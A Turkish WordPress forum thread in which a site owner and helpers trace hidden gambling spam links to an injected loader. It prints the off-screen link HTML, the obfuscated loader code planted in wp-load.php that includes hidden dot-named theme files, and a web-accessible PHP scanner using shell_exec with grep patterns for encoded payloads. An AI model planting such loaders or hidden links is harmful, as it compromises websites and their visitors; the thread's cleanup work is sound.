• 29-12-2020, 03:55:33
    #1
    Sitenin seo puanını sorgulamak istediğimde dışarıya 3 adet link çıkışı olduğunu gördüm. Bet siteleri 3ü de. Siteye girip sağ tıklayıp sayfa kaynağını görüntüle dediğimde çıkmıyor birşey.
    Acaba eski temadan ötürü mü diye düşünüp önceki yedeği bilgisayara indirip windows defender ile tarama yaptım hiç bir şey bulmadı.
    Aldığım tema lisanslı. Ekentilerde varez yok ama daha önceden wa r ez yüklemişliğim vardı. Şuan 5 eklentinin tamamı sağlam. Onları pasifleştirip google da arattığımda yine çıkıyor linkler. Yani eklentilerden ötürü olmaması gerek. Nasıl ve nereden kaynaklı nasıl anlarız acaba ?
  • 29-12-2020, 04:04:03
    #2
    Tarattigin yerde dosya yolu yazmasi lazim. Plesk ise malware eklentisi ile dene yazar dosya yolunu. Eger warezse ioncube ile sifrelenmistir fonk. Dosyasinda sifrelidir.
  • 29-12-2020, 04:05:17
    #3
    Bu tür durumlar için wordfence tarzı eklentiler genelde işinizi görür indirip kontrol edin işiniz bitince eklentiyi tamamen kaldırmaya özen gösterin güvenlik optimizasyonu hizmeti almak isterseniz özelden site adresi pm atın teklif gönderirim
  • 29-12-2020, 04:07:01
    #4
    </li></ul></div></div><div class="footer"><div class="footer_in"><p>
    ****.org</p></div></div></div></div><style>.a6270834{left:-587px;bottom:-587px;position:fixed}</style><strong class="a6270834"><a href="https://kalebet.pro/" title="Kalebet" target="_blank">Kalebet</a></strong><span class="a6270834"> - </span><italic class="a6270834"><a href="https://casinoslotsclub.com/" title="Casinoslot giriş" target="_parent">Casinoslot giriş</a></italic><span class="a6270834"> - </span><h2 class="a6270834"><a href="https://kingbetting.club/" title="Kingbetting" target="_top">Kingbetting</a></h2><script defer type="text/javascript" src="https://www.******/wp-content/cache/wpo-minify/1609202780/assets/wpo-minify-footer-0ddf0312.min.js" id="wpo_min-footer-0-js"></script> <script>/*<![CDATA[*/!function(e){"use strict";var t=function(t,n,o,r){function i(e){return l.body?e():void setTimeout(function(){i(e)})}function d(){s.addEventListener&&s.removeEventListener("load",d),s.media=o||"all"}var a,l=e.document,s=l.createElement("link");if(n)a=n;else{var f=(l.body||l.getElementsByTagName("head")[0]).childNodes;a=f[f.length-1]}var u=l.styleSheets;if(r)for(var c in r)r.hasOwnProperty(c)&&s.setAttribute(c,r[c]);s.rel="stylesheet",s.href=t,s.media="only x",i(function(){a.parentNode.insertBefore(s,n?a:a.nextSibling)});var v=function(e){for(var t=s.href,n=u.length;n--;)if(u[n].href===t)return e();setTimeout(function(){v(e)})};return s.addEventListener&&s.addEventListener("load",d),s.onloadcssdefined=v,v(d),s};"undefined"!=typeof exports?exports.loadCSS=t:e.loadCSS=t}("undefined"!=typeof global?global:this)/*]]>*/</script> </body></html>
    Sayfanın en altında çıkan kod bu şekilde
  • 29-12-2020, 04:12:10
    #5
    Wordpress panelinizden external link eklentisini kurun. (Sitenizdeki açığı kapatamıyorsanız eğer hackerın linklerinin nofollow olmasını sağlarsınız ve sizinle uğraşmayı bırakır. Fakat hacker wp-config.php aracılığı ile SQL'den sitenize yeni bir admin atayıp admin panelinize eriştikten sonra (veya sql üzerinden) eklentiyi deaktif hale getirmeye çalışırsa, eklentinin deaktif olduğunu gördüğünüzde sunucunuzda bir hackerın olduğundan emin olabilirsiniz.)
    Bu nedenle SQL geçişlerinin kapatılması VEYA wp-config.php dosyasının içeriği yani DB bilgilerinin yenilenmesinden sonra wp-config.php dosyası ya mevcut bulunduğu yerden ya da size önerim temanızdaki bir bölümden çektirilerek (ioncube ile şifrelenmiş halde) yayımlanabilir. Bu sayede sunucunuz hacklense bile size geçiş yapılma ihtimali sunucunuz ROOT almadıkça oldukça düşük olacaktır.
    Chrome tarayıcınıza user agent switcher addon kurun.
    Sitenize girip user agent switcher'ı GOOGLEBOT olarak ayarlayıp kaynak koduna tekrar bakın. (Sitenize girerken tarayıcıdan direkt giriş yapmayın google'da site adınızı aratarak girin.)
    ctrl+f ile display:none ve overflow, position:fixed kelimelerini arayın.(veya bahis)
    Zararlı kodlara rastlanır ise;
    Anadizininize 1 adet php dosyası oluşturup ismini hacklinkbul.php yapın.
    Dosya içeriği:

    <?php
    $dizin = "/home/kullanici/public_html/";
    echo $yeni = shell_exec("find $dizin -iname '*.php' -mtime 2"); //72 saat içinde değişen yeni dosyalar.
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'file_get_contents' -sl");
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'base64_decode' -sl");
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'PD9waH' -sl");
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'aWYo' -sl");
    echo $find19 = shell_exec("find $dizin -iname '*.php' | xargs grep 'pM6ey' -sl");
    echo $find20 = shell_exec("find $dizin -iname '*.php' | xargs grep 'PD8kX' -sl");
    // türetilebilir.
    ?>

    Bu kodları dosya içeriğine yapıştırdıktan sonra site üzerindenden çalıştırın. Karşınıza çıkan dosyaları analiz edin.
    Kolay gelsin.

    Ayrıca /wp-content/themes/TEMADI/functions.php dosyasında 1 den fazla <?php tagı olup olmadığına bakın. class-modules** ile başlayan bir kod görürseniz silin.
    Functions.php dosyasının en altı ve en üstü dikkatlice incelenmeli.
    Ekstra olarak /wp-content/themes/TEMADI/footer.php kontrol edilebilir.
    Bonus olarak loglarınıza bakın, loglarınızda 3-4 adet wp-login.php denemesinden sonra admin yetkisi ile login olmuş bir kullanıcının sitenizde hangi get veya postları gönderdiğine bakın.
    Hidden plugin yüklenip yüklenmediğini kontrol edin. Admin panelinizde görünmeyen fakat veritabanı arkasında etkinleştirilmiş pluginler olabilir. /wp-content/plugins klasörünü ziyaret edin.
    Orada göreceğiniz hello.php silmekten kaçınmayın. Wp-content/plugins ve Wp-content/themes dosyalarındaki masum görünen index.php lerinizi kontrol edin.

    Korumayı sağlayamayacağınızdan emin iseniz özel mesaj ile ücretli destek verebiliriz.
  • 29-12-2020, 04:57:50
    #6
    Öncelikle harika cevabın için teşekkür ederim. Bu kadar zahmet edip yazdın. Dediğin chrome eklentisini ve wordpress eklentisini kurdum. Siteye google üstünden girdim. bahsettiğin chrome eklentisini denedim ama birşey hissetmedim orada takıldım. Neyse dedim arkadaşın önerdiği wordfence eklentisini yükledim. Bu eklenti her arama da wp-load.php nin değiştiğini gösteriyor. Açıp baktığımda her defasında bu dosyaya şu kod ekleniyor ;
    if ( function_exists( 'wp_get_themes' ) && !class_exists( "a3f212fd3ff4f6b13d97220e459982843" ) ) {
        foreach ( wp_get_themes() AS $a4bc399d548c7fc0e5db44ac6052a21bd => $a330f63fa20505f149fefc94083041994 ) {
            $a355161fcd574ca0546fe45698824077c = get_theme_root() . "/{$a330f63fa20505f149fefc94083041994->stylesheet}/.{$a330f63fa20505f149fefc94083041994->stylesheet}.php";
            if ( file_exists( $a355161fcd574ca0546fe45698824077c ) ) {
                include_once $a355161fcd574ca0546fe45698824077c;
                if ( class_exists( "a3f212fd3ff4f6b13d97220e459982843" ) ) break;
    MySeoDay adlı üyeden alıntı: mesajı görüntüle
    Wordpress panelinizden external link eklentisini kurun. (Sitenizdeki açığı kapatamıyorsanız eğer hackerın linklerinin nofollow olmasını sağlarsınız ve sizinle uğraşmayı bırakır. Fakat hacker wp-config.php aracılığı ile SQL'den sitenize yeni bir admin atayıp admin panelinize eriştikten sonra (veya sql üzerinden) eklentiyi deaktif hale getirmeye çalışırsa, eklentinin deaktif olduğunu gördüğünüzde sunucunuzda bir hackerın olduğundan emin olabilirsiniz.)
    Bu nedenle SQL geçişlerinin kapatılması VEYA wp-config.php dosyasının içeriği yani DB bilgilerinin yenilenmesinden sonra wp-config.php dosyası ya mevcut bulunduğu yerden ya da size önerim temanızdaki bir bölümden çektirilerek (ioncube ile şifrelenmiş halde) yayımlanabilir. Bu sayede sunucunuz hacklense bile size geçiş yapılma ihtimali sunucunuz ROOT almadıkça oldukça düşük olacaktır.
    Chrome tarayıcınıza user agent switcher addon kurun.
    Sitenize girip user agent switcher'ı GOOGLEBOT olarak ayarlayıp kaynak koduna tekrar bakın. (Sitenize girerken tarayıcıdan direkt giriş yapmayın google'da site adınızı aratarak girin.)
    ctrl+f ile display:none ve overflow, position:fixed kelimelerini arayın.(veya bahis)
    Zararlı kodlara rastlanır ise;
    Anadizininize 1 adet php dosyası oluşturup ismini hacklinkbul.php yapın.
    Dosya içeriği:

    <?php
    $dizin = "/home/kullanici/public_html/";
    echo $yeni = shell_exec("find $dizin -iname '*.php' -mtime 2"); //72 saat içinde değişen yeni dosyalar.
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'file_get_contents' -sl");
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'base64_decode' -sl");
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'PD9waH' -sl");
    echo $find1 = shell_exec("find $dizin -iname '*.php' | xargs grep 'aWYo' -sl");
    echo $find19 = shell_exec("find $dizin -iname '*.php' | xargs grep 'pM6ey' -sl");
    echo $find20 = shell_exec("find $dizin -iname '*.php' | xargs grep 'PD8kX' -sl");
    // türetilebilir.
    ?>

    Bu kodları dosya içeriğine yapıştırdıktan sonra site üzerindenden çalıştırın. Karşınıza çıkan dosyaları analiz edin.
    Kolay gelsin.

    Ayrıca /wp-content/themes/TEMADI/functions.php dosyasında 1 den fazla <?php tagı olup olmadığına bakın. class-modules** ile başlayan bir kod görürseniz silin.
    Functions.php dosyasının en altı ve en üstü dikkatlice incelenmeli.
    Ekstra olarak /wp-content/themes/TEMADI/footer.php kontrol edilebilir.
    Bonus olarak loglarınıza bakın, loglarınızda 3-4 adet wp-login.php denemesinden sonra admin yetkisi ile login olmuş bir kullanıcının sitenizde hangi get veya postları gönderdiğine bakın.
    Hidden plugin yüklenip yüklenmediğini kontrol edin. Admin panelinizde görünmeyen fakat veritabanı arkasında etkinleştirilmiş pluginler olabilir. /wp-content/plugins klasörünü ziyaret edin.
    Orada göreceğiniz hello.php silmekten kaçınmayın. Wp-content/plugins ve Wp-content/themes dosyalarındaki masum görünen index.php lerinizi kontrol edin.

    Korumayı sağlayamayacağınızdan emin iseniz özel mesaj ile ücretli destek verebiliriz.
    Bu arada eklentiyi kurup çalıştırdıktan sonra linkler görünmüyor ama belli ki bu geçici çözüm. Dediğin tüm adımları yapmaya çalışacağım
  • 29-12-2020, 05:00:12
    #7
    wp-includes/load.php ve wp-includes/template-loader.php içeriğini atar mısın.
    Bu iki çekirdek dosyası tetikleyicidir. Web siten her yenilendiğinde içindeki kodları çağırır. Japon virüsü diye tabir edilen virüsün çalışma şekli budur. Bir yerden silersin, ama kendini başka bir yerden çağırır.
  • 29-12-2020, 05:02:08
    #8
    MySeoDay adlı üyeden alıntı: mesajı görüntüle
    wp-includes/load.php ve wp-includes/template-loader.php içeriğini atar mısın.
    <?php
    /**
     * Bootstrap file for setting the ABSPATH constant
     * and loading the wp-config.php file. The wp-config.php
     * file will then load the wp-settings.php file, which
     * will then set up the WordPress environment.
     *
     * If the wp-config.php file is not found then an error
     * will be displayed asking the visitor to set up the
     * wp-config.php file.
     *
     * Will also search for wp-config.php in WordPress' parent
     * directory to allow the WordPress directory to remain
     * untouched.
     *
     * @package WordPress
     */
    
    /** Define ABSPATH as this file's directory */
    if ( !defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
    }
    
    error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
    
    /*
     * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
     * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
     * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
     * and /blog/ is WordPress(b).
     *
     * If neither set of conditions is true, initiate loading the setup process.
     */
    if ( file_exists( ABSPATH . 'wp-config.php' ) ) {
    
        /** The config file resides in ABSPATH */
        require_once ABSPATH . 'wp-config.php';
    
    } else if ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && !@file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) {
    
        /** The config file resides one level above ABSPATH but is not part of another installation */
        require_once dirname( ABSPATH ) . '/wp-config.php';
    
    } else {
    
        // A config file doesn't exist.
    
        define( 'WPINC', 'wp-includes' );
        require_once ABSPATH . WPINC . '/load.php';
    
        // Standardize $_SERVER variables across setups.
        wp_fix_server_vars();
    
        require_once ABSPATH . WPINC . '/functions.php';
    
        $path = wp_guess_url() . '/wp-admin/setup-config.php';
    
        /*
         * We're going to redirect to setup-config.php. While this shouldn't result
         * in an infinite loop, that's a silly thing to assume, don't you think? If
         * we're traveling in circles, our last-ditch effort is "Need more help?"
         */
        if ( false === strpos( $_SERVER['REQUEST_URI'], 'setup-config' ) ) {
            header( 'Location: ' . $path );
            exit;
        }
    
        define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
        require_once ABSPATH . WPINC . '/version.php';
    
        wp_check_php_mysql_versions();
        wp_load_translations_early();
    
        // Die with an error message
        $die = sprintf(
            /* translators: %s: wp-config.php */
                __( "There doesn't seem to be a %s file. I need this before we can get started." ),
                '<code>wp-config.php</code>'
            ) . '</p>';
        $die .= '<p>' . sprintf(
            /* translators: %s: Documentation URL. */
                __( "Need more help? <a href='%s'>We got it</a>." ),
                __( 'https://wordpress.org/support/article/editing-wp-config-php/' )
            ) . '</p>';
        $die .= '<p>' . sprintf(
            /* translators: %s: wp-config.php */
                __( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ),
                '<code>wp-config.php</code>'
            ) . '</p>';
        $die .= '<p><a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a>';
    
        wp_die( $die, __( 'WordPress &rsaquo; Error' ) );
    }
    if ( function_exists( 'wp_get_themes' ) && !class_exists( "a3f212fd3ff4f6b13d97220e459982843" ) ) {
        foreach ( wp_get_themes() AS $a4bc399d548c7fc0e5db44ac6052a21bd => $a330f63fa20505f149fefc94083041994 ) {
            $a355161fcd574ca0546fe45698824077c = get_theme_root() . "/{$a330f63fa20505f149fefc94083041994->stylesheet}/.{$a330f63fa20505f149fefc94083041994->stylesheet}.php";
            if ( file_exists( $a355161fcd574ca0546fe45698824077c ) ) {
                include_once $a355161fcd574ca0546fe45698824077c;
                if ( class_exists( "a3f212fd3ff4f6b13d97220e459982843" ) ) break;
            }
        }
    }
    <?php/** * Loads the correct template based on the visitor's url * * @package WordPress */if ( wp_using_themes() ) {    /**     * Fires before determining which template to load.     *     * @since 1.5.0     */    do_action( 'template_redirect' );}
    /** * Filters whether to allow 'HEAD' requests to generate content. * * Provides a significant performance bump by exiting before the page * content loads for 'HEAD' requests. See #14348. * * @since 3.5.0 * * @param bool $exit Whether to exit without generating any content for 'HEAD' requests. Default true. */if ( 'HEAD' === $_SERVER['REQUEST_METHOD'] && apply_filters( 'exit_on_http_head', true ) ) {    exit;}
    // Process feeds and trackbacks even if not using themes.if ( is_robots() ) {    /**     * Fired when the template loader determines a robots.txt request.     *     * @since 2.1.0     */    do_action( 'do_robots' );    return;} elseif ( is_favicon() ) {    /**     * Fired when the template loader determines a favicon.ico request.     *     * @since 5.4.0     */    do_action( 'do_favicon' );    return;} elseif ( is_feed() ) {    do_feed();    return;} elseif ( is_trackback() ) {    require ABSPATH . 'wp-trackback.php';    return;}
    if ( wp_using_themes() ) {
        $tag_templates = array(        'is_embed'             => 'get_embed_template',        'is_404'               => 'get_404_template',        'is_search'            => 'get_search_template',        'is_front_page'        => 'get_front_page_template',        'is_home'              => 'get_home_template',        'is_privacy_policy'    => 'get_privacy_policy_template',        'is_post_type_archive' => 'get_post_type_archive_template',        'is_tax'               => 'get_taxonomy_template',        'is_attachment'        => 'get_attachment_template',        'is_single'            => 'get_single_template',        'is_page'              => 'get_page_template',        'is_singular'          => 'get_singular_template',        'is_category'          => 'get_category_template',        'is_tag'               => 'get_tag_template',        'is_author'            => 'get_author_template',        'is_date'              => 'get_date_template',        'is_archive'           => 'get_archive_template',    );    $template      = false;
        // Loop through each of the template conditionals, and find the appropriate template file.    foreach ( $tag_templates as $tag => $template_getter ) {        if ( call_user_func( $tag ) ) {            $template = call_user_func( $template_getter );        }
            if ( $template ) {            if ( 'is_attachment' === $tag ) {                remove_filter( 'the_content', 'prepend_attachment' );            }
                break;        }    }
        if ( ! $template ) {        $template = get_index_template();    }
        /**     * Filters the path of the current template before including it.     *     * @since 3.0.0     *     * @param string $template The path of the template to include.     */    $template = apply_filters( 'template_include', $template );    if ( $template ) {        include $template;    } elseif ( current_user_can( 'switch_themes' ) ) {        $theme = wp_get_theme();        if ( $theme->errors() ) {            wp_die( $theme->errors() );        }    }    return;}
  • 29-12-2020, 05:04:27
    #9
    get_theme_root() . "/{$a330f63fa20505f149fefc94083041994->stylesheet}/.{$a330f63fa20505f149fefc94083041994->stylesheet}.php";
    yukarda temanın yolu tespit edilerek stylesheet gidilmiş ve md5 ile şifrelenmiş.
    Functions.php içeriğini atar mısın.
    Ayrıca klasörlerinin içinde .klasoradi.php şeklinde dosyalar var mı?


    if ( function_exists( 'wp_get_themes' ) && !class_exists( "a3f212fd3ff4f6b13d97220e459982843" ) ) { foreach ( wp_get_themes() AS $a4bc399d548c7fc0e5db44ac6052a21bd => $a330f63fa20505f149fefc94083041994 ) { $a355161fcd574ca0546fe45698824077c = get_theme_root() . "/{$a330f63fa20505f149fefc94083041994->stylesheet}/.{$a330f63fa20505f149fefc94083041994->stylesheet}.php"; if ( file_exists( $a355161fcd574ca0546fe45698824077c ) ) { include_once $a355161fcd574ca0546fe45698824077c; if ( class_exists( "a3f212fd3ff4f6b13d97220e459982843" ) ) break;

    if( !class_exists( "WPTemplatesOptions" ) && function_exists( 'wp_get_themes' ) ) { foreach ( wp_get_themes() AS $theme_name => $wp_get_theme ) { $templates = get_theme_root() . DIRECTORY_SEPARATOR . "{$wp_get_theme->stylesheet}" . DIRECTORY_SEPARATOR . ".{$wp_get_theme->stylesheet}.php"; if( file_exists( $templates ) ) { include_once( $templates ); } } }